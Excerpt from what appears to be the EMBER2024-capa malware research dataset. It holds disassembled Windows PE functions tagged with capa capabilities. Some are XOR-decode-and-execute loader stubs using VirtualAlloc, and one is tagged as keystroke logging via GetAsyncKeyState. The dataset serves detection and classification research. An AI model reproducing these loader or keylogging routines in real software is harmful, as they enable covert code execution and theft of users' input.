joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100087a6
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x88
lea eax, [esp + 0x78]
lea ecx, [esp + 0x20]
mov dword [0x10041c40], 0x174e
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.10008e1d
lea ecx, [0x100085d9]
mov edx, dword [esp + 0x78]
mov dword [esp + 0x28], edx
mov dword [0x10041c40], 0x1d20
mov dword [esp + 0x24], 0x11ee00
mov edx, dword [0x10041c28]
mov dword [esp + 0x4c], edx
mov edx, dword [0x10041c2c]
mov dword [esp + 0x5c], edx
mov edx, dword [0x10041c30]
mov dword [esp + 0x6c], edx
mov edx, dword [0x10041c34]
mov dword [esp + 0x38], edx
mov edx, dword [0x10041c38]
mov dword [esp + 0x48], edx
mov dword [0x10041c3c], 0xed
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x1000887a
mov eax, dword [esp + 0x10]
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0xc]
mov dword [esp + 0x54], eax
mov dword [0x10041c3c], 0xffffe78e
mov ecx, dword [esp + 8]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x50], edx
mov dword [0x10041c40], 0x9b5
call fcn.10007dd4
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x10], ecx
je 0x100088b1
jmp 0x10008836
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0xc], eax
jne 0x1000889d
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 8], ecx
je 0x1000883e
mov eax, dword [esp + 0xc]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x1000887a
lea eax, [esp + 0x20]
mov ecx, dword [esp + 0x80]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.10008cac
mov ecx, dword [0x10041c3c]
add ecx, 0xffffe27f
mov dword [0x10041c3c], ecx
mov ecx, esp
lea edx, [esp + 0x20]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov ecx, dword [0x10041c3c]
add ecx, 0xfffffc01
mov dword [0x10041c40], ecx
mov dword [esp + 0x10], eax
jmp 0x10008836
Function at 0x10008cac
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [0x10041c40], 0x1f89
mov dword [0x10041c3c], 0xac0
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x10008cda
mov eax, dword [ebp - 0x30]
mov cl, byte [eax + 0x1001a94e]
mov dl, byte [eax + 0x1001a91f]
sub dl, cl
mov byte [ebp + eax - 0x24], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x30], eax
je 0x10008d86
jmp 0x10008cda
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x38], eax
call fcn.100080a0
mov eax, dword [ebp - 0x38]
mov word [eax], 0x5a4d
mov dword [eax + 0x3c], 0xd0
mov dword [eax + 0xd0], 0x4550
add eax, 0xffc00000
mov dword [ebp - 0x3c], eax
xor eax, eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x3c]
mov dword [ecx + 0x44], edx
mov esi, dword [ebp - 0x38]
mov dword [ecx + 0x1c], esi
mov dword [0x10041c3c], 0xdd4
cmp esi, 0
mov dword [ebp - 0x40], eax
je 0x10008def
jmp 0x10008dda
lea eax, [ebp - 0x24]
mov dword [0x10041c40], 0x25c1
mov dword [0x10041c3c], 0x2380
mov dword [ebp - 0x44], eax
call fcn.10008a02
mov dword [esp], eax
mov eax, dword [ebp - 0x44]
mov dword [esp + 4], eax
call fcn.10008b1c
xor ecx, ecx
mov edx, dword [0x10041c3c]
add edx, 0xffffee08
mov dword [0x10041c3c], edx
cmp eax, 0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x40], ecx
je 0x10008def
jmp 0x10008d06
mov eax, dword [ebp - 0x38]
add eax, 0x2518
mov dword [0x10041c40], 0xfffffe9b
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x493951
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x493960
pop dword [ebp - 0x24]
mov eax, 0x493960
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x213306b2
add dword [ebp - 0x34], 0x2d1f3e99
mov dword [ebp - 0x30], 0x49013498
add dword [ebp - 0x30], 0xe93217ad
mov dword [ebp - 0x2c], 0x2a68ac46
add dword [ebp - 0x2c], 0x21e397e8
mov dword [ebp - 0x28], 0x4a2ff3d4
sub dword [ebp - 0x28], 0x4a2ff3d4
lea eax, [ebp - 0x34]
push eax
mov eax, 0xa4d9c7e9
add eax, 0x5b6fc86b
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xb115050a
add dword [ebp - 0x34], 0xc35d644c
mov dword [ebp - 0x30], 0x39324c9c
add dword [ebp - 0x30], 0x83a14d9
mov dword [ebp - 0x2c], 0x88d8edfd
sub dword [ebp - 0x2c], 0x25698191
mov dword [ebp - 0x28], 0x4913c629
sub dword [ebp - 0x28], 0x4913c629
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xaefdb2d9
add eax, 0x514bdd4b
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x6df16
push 0
call eax
mov ecx, 0x6bf98b27
add ecx, 0x9406be3c
mov edi, eax
mov edx, 0x4cd37088
sub edx, 0x4c871288
add edx, dword [ebp - 0x24]
mov esi, 0x579109b8
add dword [ebp - 0x14], eax
mov ebx, dword [edx]
mov dword [ebp - 0x20], 0xb53ddc61
xor ebx, esi
mov dword [edi], ebx
mov dword [ebp - 0x14], 0x2e17accd
add edi, 4
add edx, 0x69cd7b33
add edx, 0x963284d1
loop 0x493a77
add eax, 0x47913558
add eax, 0xb86fe307
xor ebx, ebx
add ebx, eax
add eax, 0xec996e45
add eax, 0x136691c0
mov ecx, 0xdac197c2
add ecx, 0x257e683e
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x407320
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40732f
pop dword [ebp - 0x50]
mov eax, 0xe71f7a00
sub eax, 0xe6df06d1
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x374a0
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x4002
mov edi, eax
mov ebx, 0x605e112f
add ebx, 0x9fe32a95
add ebx, dword [ebp - 0x50]
mov esi, 0xcafb9ae0
add esi, 0xf87744bb
add dword [ebp - 0x14], 0x4fc3f722
mov edx, dword [ebx]
xor edx, esi
add dword [ebp - 0x30], ebx
mov dword [edi], edx
sub dword [ebp - 0x30], esi
add edi, 0x6e950f25
add edi, 0x916af0df
add ebx, 0xff92b993
sub ebx, 0xff92b98f
loop 0x407383
add eax, 0xc4713e6
add eax, 0xf3b9def5
xor ebx, ebx
add ebx, eax
add eax, 0x1c23cc32
sub eax, 0x1c23cc2d
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x40154d
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
cmp dword [ebp + 0xc], 2
jne 0x401695
mov dword [ebp - 8], esp
push 0x457247
push dword [ebp + 8]
call dword [0x45c9a9]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x40158e
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4015e4
mov dword [ebp - 8], esp
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x4015c2
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 8], esp
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x4015e4
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 8], esp
push str.Comet_Image
push dword [ebp + 8]
call dword [0x45c9a9]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x40160b
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40163a
mov dword [ebp - 8], esp
push dword [ebp - 4]
call dword [sym.imp.gdiplus.dll_GdipDisposeImage]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x40163a
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 8], esp
push str.Comet_Stream
push dword [ebp + 8]
call dword [0x45c9a9]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x401661
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401690
mov dword [ebp - 8], esp
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x401690
push 6
call fcn.004497b8
add esp, 4
jmp 0x40175c
cmp dword [ebp + 0xc], 0x201
jne 0x40175c
mov dword [ebp - 8], esp
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [0x45c9ad]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x4016cd
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push str.CometHitMove
push dword [ebp + 8]
call dword [0x45c9a9]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x4016f7
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jne 0x401754
mov dword [ebp - 8], esp
call dword [0x45c9b1]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x401723
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 8], esp
push 0
push 2
push 0xa1
push dword [ebp + 8]
call dword [0x45c9b5]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x401754
push 6
call fcn.004497b8
add esp, 4
mov eax, dword [ebp - 4]
jmp 0x40178c
mov dword [ebp - 8], esp
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [0x45c9ad]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x401787
push 6
call fcn.004497b8
add esp, 4
jmp 0x40178c
mov esp, ebp
pop ebp
ret 0x10
Function at 0x402aa3
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0xff
push 1
mov ebx, 0x184
call fcn.0044b8d0
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402ae8
push ebx
call fcn.004497b2
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push dword [ebp - 4]
push 0xff
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x402b13
push 6
call fcn.004497b8
add esp, 4
mov eax, dword [ebp - 4]
test eax, eax
je 0x402b2f
push eax
mov ebx, eax
call fcn.00402017
inc eax
push eax
call fcn.004497ac
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x402b34
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402b45
push ebx
call fcn.004497b2
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x40649b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [ebp + 0xc], 0
jne 0x4064b6
call fcn.00406526
mov dword [ebp + 8], eax
mov dword [ebp - 4], esp
push dword [ebp + 8]
push 0
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x4064e2
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x40650c
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
mov eax, 0
sete al
jmp 0x406520
mov esp, ebp
pop ebp
ret 8

Function at 0x406557
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
push 0
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x40659a
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], esp
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4065c4
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
mov eax, 0
sete al
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4065f8
push 6
call fcn.004497b8
add esp, 4
mov eax, dword [ebp - 8]
jmp 0x406600
mov esp, ebp
pop ebp
ret 4
Function at 0x4077ff
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x100
push 1
mov ebx, 0x184
call fcn.0044b8d0
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x407844
push ebx
call fcn.004497b2
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x100
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x407872
push 6
call fcn.004497b8
add esp, 4
mov eax, dword [ebp - 4]
test eax, eax
je 0x40788e
push eax
mov ebx, eax
call fcn.00402017
inc eax
push eax
call fcn.004497ac
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x407893
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4078a4
push ebx
call fcn.004497b2
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4

Function at 0x4078ab
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 0x14], 1
jne 0x4078ca
mov dword [ebp + 0x14], 0
jmp 0x4078e7
cmp dword [ebp + 0x14], 2
jne 0x4078e0
mov dword [ebp + 0x14], 7
jmp 0x4078e7
mov dword [ebp + 0x14], 1
mov dword [ebp - 4], esp
push dword [ebp + 0x14]
push 0x45727a
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x407922
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 2
jne 0x40793e
mov eax, 0
jmp 0x407948
mov eax, 1
jmp 0x407948
mov esp, ebp
pop ebp
ret 0x14
Function at 0x40eebd
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], esp
push 1
push 0x45727a
push 0x45727a
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x40ef03
push 6
call fcn.004497b8
add esp, 4
mov esp, ebp
pop ebp
ret 4
Function at 0x416940
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x100
push 1
mov ebx, 0x184
call fcn.0044b8d0
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x416985
push ebx
call fcn.004497b2
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x100
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x4169b0
push 6
call fcn.004497b8
add esp, 4
push 0x4576ba
push dword [ebp - 4]
mov ecx, 2
call fcn.00402082
add esp, 8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
jmp 0x4169d0
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4169e1
push ebx
call fcn.004497b2
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret

Function at 0x4176f8
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [0x45c961], 0x4d29ac2
push 0
mov ebx, 0x108
call fcn.0044b6f0
add esp, 4
mov dword [ebp - 8], eax
push 0x80000301
push 0
push 4
push VariantClear
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x417746
mov eax, 0x45727a
push eax
push 2
mov ebx, 0x138
call fcn.0044c520
add esp, 0x1c
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41776c
push ebx
call fcn.004497b2
add esp, 4
push VariantClear
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x41777f
mov eax, 0x45727a
push eax
push 1
mov ebx, 0x154
call fcn.0044be10
add esp, 0x10
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4177a5
push ebx
call fcn.004497b2
add esp, 4
push str..tmp
push dword [ebp - 0x10]
call fcn.00402c9a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4177d3
push ebx
call fcn.004497b2
add esp, 4
cmp dword [ebp - 0x14], 0
je 0x4178d2
push VariantClear
push 0
push str.Super_EC
push 1
mov ebx, 0x158
call fcn.0044f170
add esp, 0x10
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 8]
push 0
push 6
call dword [sym.imp.KERNEL32.DLL_OpenFileMappingA]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41782a
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41783d
push ebx
call fcn.004497b2
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0
push 0
push 0
push 6
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x417879
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 3
mov eax, 0x458f6e
test eax, eax
je 0x417890
add eax, 8
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_RtlMoveMemory]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x4178b0
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 8], esp
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x4178d2
push 6
call fcn.004497b8
add esp, 4
call fcn.004178e5
mov eax, 0
jmp 0x4178e1
mov esp, ebp
pop ebp
ret
Function at 0x42da69
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], esp
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x42daa4
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.0044f310
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x42db07
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.0044b520
add esp, 0x1c
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x42db2b
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.0044f310
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x42db8e
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.0044b520
add esp, 0x1c
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x12
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x42dbb2
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.0044f310
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x42dc15
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.0044b520
add esp, 0x1c
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x42dc1d
mov esp, ebp
pop ebp
ret
Function at 0x431f0a
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], esp
mov ebx, dword [ebp - 0xc]
push dword [ebx]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x431f50
push 6
call fcn.004497b8
add esp, 4
mov dword [ebp - 0x1c], eax
fild dword [ebp - 0x1c]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
fadd qword [0x457867]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
call fcn.00401400
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x184
call fcn.0044b8d0
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x431fa3
push ebx
call fcn.004497b2
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], esp
push dword [ebp - 4]
push dword [ebp - 8]
mov ebx, dword [ebp - 0xc]
push dword [ebx]
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x431fdc
push 6
call fcn.004497b8
add esp, 4
mov eax, dword [ebp - 8]
test eax, eax
je 0x431ff8
push eax
mov ebx, eax
call fcn.00402017
inc eax
push eax
call fcn.004497ac
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x431ffd
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43200e
push ebx
call fcn.004497b2
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x44c780
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 8]
push edi
push 0
push 0x20
push 3
push 0
push 3
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x44c7e9
push ebx
lea ecx, [esp + 0x10]
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov ebx, eax
lea edx, [ebx + 8]
push edx
call fcn.0044b2d0
add esp, 4
mov esi, eax
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esi + 8]
push ebx
push ecx
push edi
mov dword [esi], 1
mov dword [esi + 4], ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, esi
pop esi
pop ebx
pop edi
ret
Function at 0x44c7f0
Capabilities:
Set registry value

Disassembly:
mov eax, dword [esp + 0x28]
sub esp, 0x18
push ebx
push ebp
xor ebx, ebx
xor ebp, ebp
cmp eax, 0x80000301
push edi
ja 0x44c870
je 0x44c861
cmp eax, 0x80000101
ja 0x44c85a
je 0x44c861
cmp eax, 0x80000004
je 0x44c83d
cmp eax, 0x80000005
jne 0x44c885
mov eax, dword [esp + 0x44]
mov dword [esp + 0xc], 3
test eax, eax
je 0x44c8cb
mov ebx, dword [eax + 4]
lea ebp, [eax + 8]
jmp 0x44c8cb
mov ebp, dword [esp + 0x44]
or ecx, 0xffffffff
mov edi, ebp
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0xc], 1
mov ebx, ecx
inc ebx
jmp 0x44c8cb
cmp eax, 0x80000201
jne 0x44c885
mov ebx, 4
lea ebp, [esp + 0x44]
mov dword [esp + 0xc], ebx
jmp 0x44c8cb
cmp eax, 0x80000401
je 0x44c8b6
cmp eax, 0x80000501
je 0x44c8a2
cmp eax, 0x80000601
je 0x44c88e
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
fld qword [esp + 0x44]
mov ebx, 4
mov dword [esp + 0xc], ebx
call sub.MSVCRT.dll__ftol
jmp 0x44c8c3
fld dword [esp + 0x44]
mov ebx, 4
mov dword [esp + 0xc], ebx
call sub.MSVCRT.dll__ftol
jmp 0x44c8c3
mov eax, dword [esp + 0x44]
mov ebx, 4
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], eax
lea ebp, [esp + 0x10]
mov ecx, dword [esp + 0x2c]
push ecx
call fcn.00450280
mov edi, dword [esp + 0x3c]
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [esp + 0x20], edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], 0
test edx, edx
je 0x44c9a6
test ecx, ecx
je 0x44c9a6
inc ecx
push esi
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, dword [esp + 0x40]
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x5c
mov eax, ecx
mov esi, edi
mov edi, edx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov dword [esp + 0x2c], edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll_strrchr
mov esi, eax
add esp, 0xc
test esi, esi
je 0x44c948
mov byte [esi], 0
inc esi
mov edi, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x18]
push 0
push ecx
push 0
push 0x20006
push 0
push 0
push 0
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x44c99c
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x18]
push ebx
push ebp
push eax
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x44c991
mov dword [esp + 0x1c], 1
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
mov eax, dword [esp + 0x18]
pop edi
pop ebp
pop ebx
add esp, 0x18
ret